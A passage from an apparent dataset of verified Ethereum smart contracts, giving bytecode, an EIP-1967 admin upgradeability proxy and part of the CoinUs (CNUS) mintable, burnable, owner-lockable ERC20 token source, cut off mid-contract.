} | 0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806398650275116100715780639865027514610551578063a457c2d71461055b578063a9059cbb146105c1578063aa271e1a14610627578063dd62ed3e1461068357610116565b806370a08231146103e457806379cc67901461043c57806395d89b411461048a578063983b2d561461050d57610116565b8063313ce567116100e9578063313ce567146102a8578063355274ea146102cc57806339509351146102ea57806340c10f191461035057806342966c68146103b657610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b6101236106fb565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061079d565b604051808215151515815260200191505060405180910390f35b61020c6107b4565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107be565b604051808215151515815260200191505060405180910390f35b6102b061086f565b604051808260ff1660ff16815260200191505060405180910390f35b6102d4610886565b6040518082815260200191505060405180910390f35b6103366004803603604081101561030057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610890565b604051808215151515815260200191505060405180910390f35b61039c6004803603604081101561036657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610935565b604051808215151515815260200191505060405180910390f35b6103e2600480360360208110156103cc57600080fd5b810190808035906020019092919050505061095d565b005b610426600480360360208110156103fa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061096a565b6040518082815260200191505060405180910390f35b6104886004803603604081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109b2565b005b6104926109c0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d25780820151818401526020810190506104b7565b50505050905090810190601f1680156104ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61054f6004803603602081101561052357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a62565b005b610559610a80565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a8b565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b30565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b47565b604051808215151515815260200191505060405180910390f35b6106e56004803603604081101561069957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b64565b6040518082815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107935780601f1061076857610100808354040283529160200191610793565b820191906000526020600020905b81548152906001019060200180831161077657829003601f168201915b5050505050905090565b60006107aa338484610beb565b6001905092915050565b6000600254905090565b60006107cb848484610d4a565b610864843361085f85600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610beb565b600190509392505050565b6000600560009054906101000a900460ff16905090565b6000600754905090565b600061092b338461092685600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3490919063ffffffff16565b610beb565b6001905092915050565b600061094033610b47565b61094957600080fd5b6109538383610f53565b6001905092915050565b6109673382610f89565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109bc82826110db565b5050565b606060048054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a585780601f10610a2d57610100808354040283529160200191610a58565b820191906000526020600020905b815481529060010190602001808311610a3b57829003601f168201915b5050505050905090565b610a6b33610b47565b610a7457600080fd5b610a7d81611182565b50565b610a89336111dc565b565b6000610b263384610b2185600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610beb565b6001905092915050565b6000610b3d338484610d4a565b6001905092915050565b6000610b5d82600661123690919063ffffffff16565b9050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c2557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c5f57600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d8457600080fd5b610dd5816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e68816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b600082821115610f2357600080fd5b600082840390508091505092915050565b600080828401905083811015610f4957600080fd5b8091505092915050565b600754610f7082610f626107b4565b610f3490919063ffffffff16565b1115610f7b57600080fd5b610f8582826112c8565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fc357600080fd5b610fd881600254610f1490919063ffffffff16565b60028190555061102f816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6110e58282610f89565b61117e823361117984600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1490919063ffffffff16565b610beb565b5050565b61119681600661141a90919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167f6ae172837ea30b801fbfcdd4108aa1d5bf8ff775444fd70256b44e6bf3dfc3f660405160405180910390a250565b6111f08160066114c690919063ffffffff16565b8073ffffffffffffffffffffffffffffffffffffffff167fe94479a9f7e1952cc78f2d6baab678adc1b772d936c6583def489e524cb6669260405160405180910390a250565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561127157600080fd5b8260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561130257600080fd5b61131781600254610f3490919063ffffffff16565b60028190555061136e816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f3490919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561145457600080fd5b61145e8282611236565b1561146857600080fd5b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561150057600080fd5b61150a8282611236565b61151357600080fd5b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505056fea265627a7a723158207026f055721f1aed6b9af226a6b610ab3a76e98227c78b52eabade6e69ca93a364736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 1,118 |
0x4a84446df3bf431f397a7dc9e6306636c1216554 | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220401c74d3e7f766707c9c2337d22314b5f19323083d6f9ef3755e9b0bbab43a3364736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 1,119 |
0x63d863cffc7277a0e94f4397c62b5df9f691cbcd | pragma solidity 0.4.21;
/** @title LockableToken
* @dev Base contract which allows token issuer control over when token transfer
* is allowed globally as well as per address based.
*/
contract LockableToken {
// token issuer
address public owner;
// Check if msg.sender is token issuer
modifier isOwner {
require(owner == msg.sender);
_;
}
/**
* @dev The LockableToken constructor sets the original `owner` of the
* contract to the issuer, and sets global lock in locked state.
*/
function LockableToken() public {
owner = msg.sender;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/** @title CNUS Token
* An ERC20-compliant token that is transferable only after preordered product
* reception is confirmed. Once the product is used by the holder, token lock
* will be automatically released.
*/
contract CnusToken is MintableToken, LockableToken, BurnableToken {
using SafeMath for uint256;
string public name = "CoinUs";
string public symbol = "CNUS";
uint256 public decimals = 18;
// global token transfer lock
bool public globalTokenTransferLock;
// mapping that provides address based lock. default at the time of issueance
// is locked, and will not be transferrable until explicit unlock call for
// the address.
mapping( address => bool ) public lockedStatusAddress;
event Locked(address lockedAddress);
event Unlocked(address unlockedaddress);
// Check for global lock status to be unlocked
modifier checkGlobalTokenTransferLock {
require(!globalTokenTransferLock);
_;
}
// Check for address lock to be unlocked
modifier checkAddressLock {
require(!lockedStatusAddress[msg.sender]);
_;
}
function setGlobalTokenTransferLock(bool locked) public
isOwner
returns (bool)
{
globalTokenTransferLock = locked;
return globalTokenTransferLock;
}
/**
* @dev Allows token issuer to lock token transfer for an address.
* @param target Target address to lock token transfer.
*/
function initialLockAddress(address target) public
onlyOwner
{
require(owner != target);
lockedStatusAddress[target] = true;
emit Locked(target);
}
/**
* @dev Allows token issuer to lock token transfer for an address.
* @param target Target address to lock token transfer.
*/
function lockAddress(address target) public
isOwner
{
require(owner != target);
lockedStatusAddress[target] = true;
emit Locked(target);
}
/**
* @dev Allows token issuer to unlock token transfer for an address.
* @param target Target address to unlock token transfer.
*/
function unlockAddress(address target) public
isOwner
{
lockedStatusAddress[target] = false;
emit Unlocked(target);
}
